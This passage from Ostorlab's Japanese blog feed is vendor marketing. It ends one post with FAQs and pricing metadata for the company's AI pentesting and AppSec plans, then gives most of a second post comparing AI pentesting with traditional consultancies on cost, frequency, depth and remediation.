&lt;p&gt;インタラクティブな手動テストにはBurp Suite Professional、ハードウェア、ファームウェア、スマートコントラクト、あるいは氏名を明示した人間のテスターを必要とする監査には専門のコンサルティング会社、データを一切ネットワーク外に出せない場合は完全にセルフホスト型のスキャナーを選んでください。SAST、DAST、SCA、シークレット検出は、Ostorlabのすべての有料プランに含まれているため、別のツールを購入する理由にはなりません。&lt;/p&gt;
&lt;h3 id="ostorlabはシンプルなwebサイトに適しているか"&gt;OstorlabはシンプルなWebサイトに適しているか&lt;/h3&gt;
&lt;p&gt;はい。ただし、静的なサイトであれば必要なものは少なくなります。DASTはすべての有料プランでサイトをカバーし、AppSec Web/APIは年払いで1アプリケーションあたり月額$299からです。つながり合うアセットのテストやエージェント型テストは、サイトにログイン、API、モバイルクライアント、機密性の高いワークフローが加わったときに最も大きな価値を発揮します。&lt;/p&gt;
&lt;h3 id="ostorlabはサードパーティのモバイルアプリケーションを評価できるか"&gt;Ostorlabはサードパーティのモバイルアプリケーションを評価できるか&lt;/h3&gt;
&lt;p&gt;はい。App Vettingは、外部のAndroidアプリやiOSアプリを承認前に評価し、静的解析、動的テスト、サンドボックスでの実行を組み合わせて、マルウェア、プライバシー、脆弱性、信頼性にわたる重み付けされたリスクスコアを算出します。新しいバージョンがリリースされるたびに再分析します。&lt;/p&gt;
&lt;h2 id="結論として、ostorlabは適しているか"&gt;結論として、Ostorlabは適しているか&lt;/h2&gt;
&lt;p&gt;アプリケーションが複数のつながり合うアセットにまたがり、頻繁にリリースし、修正と再テストに結び付いた、エクスプロイトに裏付けられた検出結果が必要であれば、Ostorlabは適しています。要件がハンズオンの手動テスト、エアギャップされたデプロイ、あるいはハードウェア、ファームウェア、スマートコントラクトの研究である場合は、専門的な選択肢の方が適しています。&lt;/p&gt;
&lt;p&gt;自社のアプリ、API、リポジトリにプランを合わせるには、&lt;a href="https://ostorlab.co/plans"&gt;Ostorlabのプランと価格&lt;/a&gt;を比較するか、&lt;a href="https://report.ostorlab.co/account/new/"&gt;無料のCommunityプランから始めてください&lt;/a&gt;。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "Article",
      "@id": "https://blog.ostorlab.co/who-should-use-ostorlab.html#article",
      "headline": "Ostorlabを使うべきなのは誰か：最適なチーム、ユースケース、他の選択肢を選ぶべきとき",
      "author": {
        "@type": "Person",
        "name": "Abir Jelti"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co"
      },
      "datePublished": "2026-09-28",
      "dateModified": "2026-10-06",
      "mainEntityOfPage": "https://blog.ostorlab.co/who-should-use-ostorlab.html"
    },
    {
      "@type": "Product",
      "@id": "https://blog.ostorlab.co/who-should-use-ostorlab.html#agentic-pentest",
      "name": "Ostorlab Agentic Pentest",
      "brand": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co"
      },
      "description": "アプリケーションまたはつながり合うエコシステムを対象とした、スコープを限定したマルチアセットのエージェント型ペネトレーションテスト。AIエージェントが確定した各検出結果に実際に動作するエクスプロイトが付き、再テスト期間があります。",
      "offers": [
        {
          "@type": "Offer",
          "name": "Core",
          "price": "499",
          "priceCurrency": "USD",
          "url": "https://ostorlab.co/plans"
        },
        {
          "@type": "Offer",
          "name": "Advanced",
          "price": "1999",
          "priceCurrency": "USD",
          "url": "https://ostorlab.co/plans"
        },
        {
          "@type": "Offer",
          "name": "Elite",
          "price": "3999",
          "priceCurrency": "USD",
          "url": "https://ostorlab.co/plans"
        }
      ]
    },
    {
      "@type": "Product",
      "@id": "https://blog.ostorlab.co/who-should-use-ostorlab.html#appsec-mobile",
      "name": "Ostorlab AppSec Mobile",
      "brand": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co"
      },
      "description": "つながり合う一つのモバイルワークスペースを対象とした継続的なセキュリティテスト：モバイルアプリ1つ、Web/API対象は最大3つ、ソースコードリポジトリは最大3つ、AI Security Creditsは月20。",
      "offers": [
        {
          "@type": "Offer",
          "name": "年払い",
          "price": "599",
          "priceCurrency": "USD",
          "url": "https://ostorlab.co/plans",
          "priceSpecification": {
            "@type": "UnitPriceSpecification",
            "price": "599",
            "priceCurrency": "USD",
            "unitText": "1アプリケーションあたり月額、年払い"
          }
        },
        {
          "@type": "Offer",
          "name": "月払い",
          "price": "653",
          "priceCurrency": "USD",
          "url": "https://ostorlab.co/plans",
          "priceSpecification": {
            "@type": "UnitPriceSpecification",
            "price": "653",
            "priceCurrency": "USD",
            "unitText": "1アプリケーションあたり月額"
          }
        }
      ]
    },
    {
      "@type": "Product",
      "@id": "https://blog.ostorlab.co/who-should-use-ostorlab.html#appsec-web-api",
      "name": "Ostorlab AppSec Web/API",
      "brand": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co"
      },
      "description": "つながり合う一つのWeb/APIワークスペースを対象とした継続的なセキュリティテスト：Web/API対象は最大3つ、ソースコードリポジトリは最大3つ、AI Security Creditsは月20。",
      "offers": [
        {
          "@type": "Offer",
          "name": "年払い",
          "price": "299",
          "priceCurrency": "USD",
          "url": "https://ostorlab.co/plans",
          "priceSpecification": {
            "@type": "UnitPriceSpecification",
            "price": "299",
            "priceCurrency": "USD",
            "unitText": "1アプリケーションあたり月額、年払い"
          }
        },
        {
          "@type": "Offer",
          "name": "月払い",
          "price": "326",
          "priceCurrency": "USD",
          "url": "https://ostorlab.co/plans",
          "priceSpecification": {
            "@type": "UnitPriceSpecification",
            "price": "326",
            "priceCurrency": "USD",
            "unitText": "1アプリケーションあたり月額"
          }
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/who-should-use-ostorlab.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "Ostorlabを使うべきなのは誰か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "モバイルアプリ、Webアプリ、APIを頻繁にリリースし、実際に動作するエクスプロイトに裏付けられた確定した検出結果を求めるチームです。モバイルファーストのエンジニアリングチーム、つながり合うアプリケーションを守るAppSecチーム、毎週リリースするDevSecOpsチーム、プライベート環境を持つエンタープライズ、サードパーティのモバイルアプリを審査するリスクチームに適しています。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabはスタートアップに適しているか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。Communityプランは無料で、無制限のモバイルアプリスキャンが含まれています。スコープを限定したAgentic Pentestは$499から始まり、AppSecは年払いでWeb/APIが1アプリケーションあたり月額$299、モバイルが$599です。初めてのペンテストの予算を立てるには、スタートアップ向けペネトレーションテストガイド（2026年版）をご覧ください。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabはエンタープライズに適しているか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。Enterpriseプランでは、設定可能なポートフォリオのカバー範囲、年間でプールされるAI Security Credits、SSO/SAML、RBAC、監査ログ、BYOK、米国、EU、GCC、APACでのデータレジデンシー、そしてアドオンとしてのオンプレミスでのデプロイが追加されます。Attack SurfaceとApp Vettingも含まれます。OstorlabはSOC 2 Type IIの監査を受けています。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabはモバイルアプリ、Webアプリ、API、ソースコードをテストできるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。Ostorlabは、Android、iOS、HarmonyOSのアプリ、Webアプリケーション、RESTおよびGraphQLのAPI、そしてGitHub、GitLab、Bitbucket、Azure DevOps上のリポジトリをテストします。これらを一つのアタックサーフェスとしてまとめてテストできるため、アセットをまたぐチェーンもカバーされます。"
          }
        },
        {
          "@type": "Question",
          "name": "OstorlabにはSASTとDASTが含まれるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。すべての有料プランに、静的解析（SAST）、動的テスト（DAST）、ソフトウェア構成分析（SCA）、APIセキュリティテストが含まれ、さらに実行時の解析と振る舞い解析、SSOと2FAを通じた認証済みワークフローのテストも含まれます。そのうえでエージェント型テストが、これらのレイヤーで見つかった問題の悪用を試みるため、確定した問題には実証が伴います。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabは手動のペネトレーションテストに取って代わるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "モバイル、Web、APIのスコープを頻繁かつ繰り返しテストする用途であれば、多くの場合は取って代わります。一方、特殊なビジネスロジック、新しいアーキテクチャ、氏名を明示した独立した人間のテスターを必要とする監査には、依然として手動テストが適しています。多くのチームは、年1回の手動の診断の合間にエージェント型ペンテストを実施しています。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabはオンプレミスでのスキャンに対応しているか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。ハイブリッド型のOn-Premises Scannerで対応しています。スキャンは自社のネットワーク内で実行され、設定、オーケストレーション、検出結果、レポーティングはOstorlabクラウドに残ります。完全にエアギャップされたセルフホスト型のデプロイではありません。"
          }
        },
        {
          "@type": "Question",
          "name": "どのOstorlabプランを選ぶべきか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "スコープを限定した1回の評価にはAgentic Pentest、つながり合う一つのアプリケーションの継続的なカバーにはAppSec MobileまたはAppSec Web/API、複数のアプリケーション、App Vetting、Attack SurfaceにはEnterpriseを選んでください。プラットフォームを試すには、無料のCommunityプランから始めてください。"
          }
        },
        {
          "@type": "Question",
          "name": "他のセキュリティツールを選ぶべきなのはどのようなときか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "インタラクティブな手動テストにはBurp Suite Professional、ハードウェア、ファームウェア、スマートコントラクト、あるいは氏名を明示した人間のテスターを必要とする監査には専門のコンサルティング会社、データを一切ネットワーク外に出せない場合は完全にセルフホスト型のスキャナーを選んでください。SAST、DAST、SCA、シークレット検出は、Ostorlabのすべての有料プランに含まれているため、別のツールを購入する理由にはなりません。"
          }
        },
        {
          "@type": "Question",
          "name": "OstorlabはシンプルなWebサイトに適しているか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。ただし、静的なサイトであれば必要なものは少なくなります。DASTはすべての有料プランでサイトをカバーし、AppSec Web/APIは年払いで1アプリケーションあたり月額$299からです。つながり合うアセットのテストやエージェント型テストは、サイトにログイン、API、モバイルクライアント、機密性の高いワークフローが加わったときに最も大きな価値を発揮します。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabはサードパーティのモバイルアプリケーションを評価できるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。App Vettingは、外部のAndroidアプリやiOSアプリを承認前に評価し、静的解析、動的テスト、サンドボックスでの実行を組み合わせて、マルウェア、プライバシー、脆弱性、信頼性にわたる重み付けされたリスクスコアを算出します。新しいバージョンがリリースされるたびに再分析します。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Product"/><category term="Ostorlab"/><category term="Application Security"/><category term="Mobile Application Security"/><category term="Agentic Pentesting"/><category term="App Vetting"/><category term="AppSec Tools"/></entry><entry><title>Ostorlab vs. ペンテスト会社：2026年のコストと深さの比較</title><link href="https://blog.ostorlab.co/ja/ostorlab-vs-penetration-testing-firms.html" rel="alternate"/><published>2026-09-25T16:00:00+02:00</published><updated>2026-10-02T18:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-09-25:/ja/ostorlab-vs-penetration-testing-firms.html</id><summary type="html">&lt;p&gt;Ostorlabとペンテスト会社を、コスト、テスト頻度、深さ、修復の観点で比較し、AIペンテスト、コンサルタント、またはその両方をいつ使うべきかを解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;3月に完了したペンテストでは、4月にリリースした認可の変更が安全かどうかはわかりません。&lt;/strong&gt;そして、重要なリリースのたびにコンサルティング案件を発注していると、費用はすぐにかさみます。&lt;/p&gt;
&lt;p&gt;したがって、本当の問いは「AIか人間か」ではありません。&lt;strong&gt;専任の専門家の時間がどこで必要なのか、そしてアプリケーションのそれ以外の部分はどのくらいの頻度でテストが必要なのか&lt;/strong&gt;です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;簡単な答え&lt;/strong&gt;：Ostorlabは、モバイル、Web、APIのアプリケーションを対象にAIによるペンテストを実施しており、1回限りの評価は$499から、アプリケーションの変更に応じて再テストを行う継続プランも用意しています。従来の会社は人間のコンサルタントを決まった日数だけ割り当て、Webアプリ1つで通常$3,000～$18,000かかります。頻繁なテストにはOstorlabを、専門的なレビューや設計レベルのレビューには会社を、あるいはその両方を使い分けてください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;開示&lt;/strong&gt;：この比較はOstorlabが公開しており、当社のサービスを含んでいます。2026年9月時点の公開ドキュメント、価格ガイド、サービス説明に基づくもので、プロバイダー同士を直接比較評価したものではありません。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="ペンテスト会社とaiペンテストの違いとは"&gt;ペンテスト会社とAIペンテストの違いとは&lt;/h2&gt;
&lt;p&gt;従来のペンテスト会社が売っているのは専門家の時間です。AIペンテストが売っているのは、再実行のコストが低い、エージェント主導の再現可能なテストです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://csrc.nist.gov/glossary/term/penetration_testing"&gt;ペネトレーションテスト&lt;/a&gt;&lt;/strong&gt;とは、自社のアプリケーションに対する、許可を得た模擬攻撃です。実際の攻撃者が悪用し得る弱点を、攻撃者より先に明らかにします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;従来のペンテスト会社&lt;/strong&gt;とは、セキュリティコンサルティング会社のことです。合意した範囲と日数で人間のテスターを自社のアプリケーションに割り当て、その後レポートを納品します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AIペンテスト&lt;/strong&gt;は、AIエージェントを使ってアプリケーションを探索し、エクスプロイトを試み、検出結果をまとめます。発注したコンサルタントの日数ではなくエージェントがテストを行うため、1回ごとの所要時間が短く、繰り返す際のコストも低く抑えられます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、モバイル、Web、APIのアプリケーションを対象としたアプリケーションセキュリティテストプラットフォームです。この記事で取り上げるサービスは次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AI Pentest&lt;/strong&gt;：アプリケーションまたは接続されたエコシステムを対象とした、範囲を定めた1回限りのOstorlabの評価で、&lt;a href="https://ostorlab.co/plans/"&gt;再テスト期間が含まれます&lt;/a&gt;。AI Pentestには人間による検証は含まれません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AppSecプランとEnterpriseプラン&lt;/strong&gt;：継続的な監視と再スキャンを備えた、Ostorlabの継続プランです。これらのプランでは、人間による検証はアドオン（AppSec）または設定可能（Enterprise）です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Agentic Deep Scan&lt;/strong&gt;：OstorlabのAI Pentestが、認証済みワークフロー、認可、ビジネスロジックのテストに使用するAIエージェントのテストエンジンです。AI Pentestは評価サービスであり、Agentic Deep Scanはテスト技術です。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ostorlabと従来のペンテストの比較概要"&gt;Ostorlabと従来のペンテストの比較概要&lt;/h2&gt;
&lt;p&gt;以下の表では、Ostorlabとコンサルタント主導の案件を8つの観点で比較しています。継続プランの機能は、1回限りのAI Pentestとは区別して記載しています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;Ostorlab&lt;/th&gt;
&lt;th&gt;従来のコンサルタント主導の案件&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;コスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI Pentestは$499から。継続プランは別料金&lt;/td&gt;
&lt;td&gt;コンサルタントの日数と範囲に応じた価格で、Webアプリ1つあたり通常$3,000～$18,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;結果が出るまでの時間&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI Pentestの想定期間：Core 5～7日、Advanced 10～14日、Elite 15～20日。範囲と開始時期は要確認&lt;/td&gt;
&lt;td&gt;一般的に1～3週間の実テストに加え、日程調整とレポート作成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;人間による検証&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI Pentestには含まれない。AppSecではアドオン、Enterpriseでは設定可能&lt;/td&gt;
&lt;td&gt;案件期間中に人間主導のテストとレビュー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;テスト頻度&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;継続プランではビルドやリリースをまたいで実施&lt;/td&gt;
&lt;td&gt;合意した案件期間中のみ。繰り返す場合は改めて日程を組む&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;技術的な深さ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AIによるワークフローの調査、エクスプロイトの検証と連鎖&lt;/td&gt;
&lt;td&gt;専門家主導の調査、カスタムのテストケース、設計レビュー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;接続されたアプリケーション&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;モバイル、Web、API、ソースのアセットをまとめてテスト&lt;/td&gt;
&lt;td&gt;範囲に含まれていれば同じコンポーネントを対象&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発ワークフロー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CI/CD連携により、コードの変更に応じてスキャンを開始&lt;/td&gt;
&lt;td&gt;検出結果は案件期間中または終了後に納品&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;修復&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;再現のエビデンス、チケット管理との連携、修正の検証&lt;/td&gt;
&lt;td&gt;テスターによるガイダンス、議論、合意した再テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;期間はそれぞれ異なる提供段階を表しています。&lt;a href="https://ostorlab.co/plans/"&gt;プランページ&lt;/a&gt;に記載されたAI Pentestの想定期間は、Core 5～7日、Advanced 10～14日、Elite 15～20日です。当社の&lt;a href="https://blog.ostorlab.co/penetration-testing-for-startups-2026-guide.html"&gt;スタートアップ向けペンテストガイド&lt;/a&gt;では、手動の実テストに1～3週間かかると説明しています。環境の準備状況、日程調整、人間によるレビュー、レポートの納品については、見積もりの段階で確認してください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;知っておきたいこと&lt;/strong&gt;：1回限りのAI Pentestは継続的テストではありません。継続的な監視は、AppSecとEnterpriseの継続プランに含まれます。&lt;/p&gt;
&lt;h2 id="ostorlabのコストはペンテスト会社と比べてどうか"&gt;Ostorlabのコストはペンテスト会社と比べてどうか&lt;/h2&gt;
&lt;p&gt;2026年9月時点で、OstorlabのAI Pentestは1回限りの評価で&lt;a href="https://ostorlab.co/plans/"&gt;$499から&lt;/a&gt;（Coreティア）です。当社の&lt;a href="https://blog.ostorlab.co/application-penetration-test-cost-2026.html"&gt;2026年版アプリケーションペネトレーションテスト費用ガイド&lt;/a&gt;によると、手動のWebアプリケーションペンテストは、複雑さ、地域、ベンダーの種類に応じて一般的に&lt;strong&gt;$3,000～$18,000&lt;/strong&gt;かかります。同じガイドでは、Web、API、モバイル、クラウドにまたがるより広範な評価は&lt;strong&gt;$18,000～$50,000+&lt;/strong&gt;としています。これらの価格帯は、それぞれ異なる範囲を表しています。&lt;/p&gt;
&lt;p&gt;大規模で複雑なアプリケーションほど費用は高くなります。脆弱性スキャンのベンダーである&lt;a href="https://www.intruder.io/blog/how-much-does-penetration-testing-cost"&gt;Intruder&lt;/a&gt;は、テスターの日額単価を&lt;strong&gt;$1,500～$2,500&lt;/strong&gt;としています。シンプルなWebアプリならジュニアテスターで3日（約&lt;strong&gt;$4,500&lt;/strong&gt;）、複雑なものならシニアテスターで15日（約&lt;strong&gt;$37,500&lt;/strong&gt;）が必要になる場合があります。&lt;/p&gt;
&lt;p&gt;これらの範囲は同一ではないため、この差を同条件での節約額として読まないでください。ポイントは最初に必要な予算です。チームは年に1回以上テストに費用をかけています。新しいリリース、修正の検証、再び変更された機密性の高いワークフローなどです。評価1回あたりの価格が低ければ、そうしたチェックの予算を確保しやすくなります。継続プランの価格は、アプリケーションのカバレッジと&lt;strong&gt;AI Security Credits&lt;/strong&gt;によって決まります。AI Security Creditsは、エージェント型テストや修正の検証といった高度なAIアクションのための利用枠です。ワークスペースでの定常的なテストは、&lt;a href="https://ostorlab.co/plans/"&gt;プランページ&lt;/a&gt;に記載のとおり、これとは別に含まれています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;コンサルタントが報酬に見合う価値を発揮する場面&lt;/strong&gt;：独自の認証基盤を詳細にレビューするには、何日もの分析と設計者との対話が必要になることがあります。繰り返し可能なテストを自動化すれば、まさにそうした集中的な作業により多くの予算を回せます。&lt;/p&gt;
&lt;h2 id="従来のペンテストで毎週リリースされるアプリをカバーできるか"&gt;従来のペンテストで毎週リリースされるアプリをカバーできるか&lt;/h2&gt;
&lt;p&gt;それだけでは不十分です。従来の案件は、テスト期間中に存在するアプリケーションを調べるものです。そのため、それ以降のリリースはすべて、次の案件までテストされないまま出荷されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;継続的テスト&lt;/strong&gt;は、案件ごとに1回ではなく、ビルドやリリースのたびにアプリケーションの変化に合わせてテストを繰り返すことで、このギャップを埋めます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="3月に1回だけ行うペンテスト（その後のリリースはテストされずに出荷される）と、すべてのリリースをチェックし、4月の認可の変更をディープスキャンし、修正を再テストする継続的テストを比較したタイムライン" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-25_ostorlab_vs_traditional_pentesting/point-in-time-vs-continuous-testing.svg" title="特定時点のペンテストと継続的テストの比較"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;特定時点のペンテストと継続的テストの比較&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ostorlabの継続プランでは、次のようになります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パイプラインのトリガー&lt;/strong&gt;：&lt;a href="https://docs.ostorlab.co/integrations/github/index.html"&gt;GitHub連携&lt;/a&gt;は、モバイルのビルドとWebアプリケーションをスキャンし、指定したリスク評価を超えた場合にビルドを失敗させることができます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;適切な深さ&lt;/strong&gt;：開発中は定常的なスキャンプロファイルを使い、重要な変更には、より深い調査を行います。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修正の検証&lt;/strong&gt;：修正がデプロイされると、影響を受けた挙動が再びテストされます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;継続的とは「常にすべてを実行する」という意味ではありません。ビルドの簡易チェックとディープスキャンは、それぞれ役割が異なります。実用的なプログラムでは、定期的なチェック、重要なリリースの前後でのより深いテスト、修復後の検証を組み合わせます。&lt;/p&gt;
&lt;p&gt;また、これは新興のプロバイダーか老舗のプロバイダーかという話だけではありません。よく知られたコンサルティング会社の中にも、継続型のモデルを提供しているところがあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;英国に本社を置くサイバーセキュリティコンサルティング会社である&lt;strong&gt;&lt;a href="https://www.nccgroup.com/"&gt;NCC Group&lt;/a&gt;&lt;/strong&gt;は、同社の&lt;a href="https://www.nccgroup.com/technical-assurance/continuous-penetration-testing/"&gt;継続的ペネトレーションテスト&lt;/a&gt;について、「変更をトリガーとして実施され、新規および更新された機能が開発と同時に評価されることを保証する」と述べています。&lt;/li&gt;
&lt;li&gt;米国のオフェンシブセキュリティ企業である&lt;strong&gt;&lt;a href="https://bishopfox.com/"&gt;Bishop Fox&lt;/a&gt;&lt;/strong&gt;は、同社のCosmos AIエンジンを使った&lt;a href="https://bishopfox.com/services/penetration-testing-services/ai-powered-application-penetration-testing"&gt;AIを活用したアプリケーションペネトレーションテスト&lt;/a&gt;を提供しており、「すべての脆弱性は、Bishop Foxのペネトレーションテスターによってレビュー、テスト、検証される」としています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;つまり本当の違いは、プロバイダーが誰かではなく、&lt;strong&gt;継続的なプログラムか、日程を組んで行う案件か&lt;/strong&gt;です。&lt;/p&gt;
&lt;h2 id="aiペンテストは人間のペンテスターと同じくらい深く踏み込めるか"&gt;AIペンテストは人間のペンテスターと同じくらい深く踏み込めるか&lt;/h2&gt;
&lt;p&gt;繰り返し可能な技術的調査であれば可能です。ただし、自社のプロダクトチームにしか説明できないルールについては、依然として人間の専門家のほうが深く踏み込めます。&lt;/p&gt;
&lt;p&gt;認証、権限、多段階のワークフローはいずれも、アプリケーションが本来&lt;em&gt;どう動作すべきか&lt;/em&gt;についてのコンテキストを必要とします。Ostorlabの&lt;a href="https://ostorlab.co/product/web_agentic_deep_scan"&gt;Agentic Deep Scan&lt;/a&gt;は、認証済みワークフローのテスト、認可チェック、ビジネスロジックの調査、そしてアプリケーションとそのAPIにまたがる攻撃経路をカバーします。&lt;/p&gt;
&lt;p&gt;安全に実施できる場合には、&lt;strong&gt;エクスプロイトの検証&lt;/strong&gt;を行います。脆弱性である&lt;em&gt;可能性がある&lt;/em&gt;ものを指摘するだけでなく、制御された方法で実際に悪用することで脆弱性を確認します。検出結果には再現手順、スクリーンショット、リクエストとレスポンスのエビデンスが付属し、分析ビューでは調査の計画と推論を確認できます。そうしたエビデンスの判断方法については、&lt;a href="https://blog.ostorlab.co/can-you-trust-ai-pentesting-results.html"&gt;AIペンテストの結果は信頼できるか&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="オブジェクトレベルの認可の不備に関する検出結果を検証する計画の目的とタスクを示した、OstorlabのAgentic Deep Scanの分析ビュー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-25_ostorlab_vs_traditional_pentesting/agentic-deep-scan-authorization-test-plan.png" title="認可に関する検出結果のためのAgentic Deep Scanのテスト計画"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;認可に関する検出結果のためのAgentic Deep Scanのテスト計画&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;例：請求書の境界&lt;/strong&gt;。顧客は自分の組織の請求書しか見られないはずです。これをテストするには、異なるアイデンティティを使い、別の組織の記録をリクエストし、レスポンスを分析します。アクセスに成功した場合、検出結果には何がどのような条件で露出したのかが正確に示されます。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;コンサルタントがさらに踏み込める場面&lt;/strong&gt;：特定の契約条件のもとでの委任アクセスや、地域ごとの承認上限のように、プロダクトオーナーにしか説明できないルールを持つアプリケーションもあります。専門家は、そうした要件を自社のチームとともに整理し、それに基づいたテストを構築し、さらにアーキテクチャレビューや脅威モデリングにまで踏み込むことができます。&lt;/p&gt;
&lt;h2 id="ostorlabはモバイル、web、apiをまとめてテストできるか"&gt;Ostorlabはモバイル、Web、APIをまとめてテストできるか&lt;/h2&gt;
&lt;p&gt;はい。Ostorlabの&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html"&gt;マルチアセットテスト&lt;/a&gt;は、関連するモバイル、Web、API、ソースの対象をまとめて調査し、検出結果を一つのレポートに集約します。深刻な弱点はしばしば複数のコンポーネントにまたがるため、これは重要です。&lt;/p&gt;
&lt;p&gt;以下に示す検出結果は、モバイルからAPIへの攻撃経路を示しています。iOSアプリのバンドルに埋め込まれたAuth0のマシン間認証情報がAuth0 Management APIへのアクセスを許し、テナント全体のユーザーデータを露出させています。重要なのは、露出したモバイルの認証情報と、そのバックエンドでの権限とのつながりです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabのクリティカルな検出結果：iOSアプリにハードコードされたAuth0のマシン間認証情報がManagement APIへのアクセスを許し、テナント全体のユーザーデータを露出させている" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-25_ostorlab_vs_traditional_pentesting/mobile-to-api-attack-chain-finding.png" title="マルチアセットテストで発見されたモバイルからAPIへの攻撃チェーン"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;マルチアセットテストで発見されたモバイルからAPIへの攻撃チェーン&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;モバイルだけのテストであれば、ハードコードされたシークレットとして報告するでしょう。APIだけのテストでは、それを目にすることすらありません。まとめてテストすることで、検出結果は、どのクライアントが問題を露出させたのか、どのバックエンドの挙動がそれをクリティカルにしたのか、そして修正をどこに入れるべきかを開発者に示します。&lt;/p&gt;
&lt;p&gt;コンサルティング会社も、同じ関係性を追跡することはできます。違いは形式です。Ostorlabはそれらのコンポーネントが変化しても再利用できるワークフローを提供し、案件は評価期間中に専門家の集中的な注意を提供します。&lt;/p&gt;
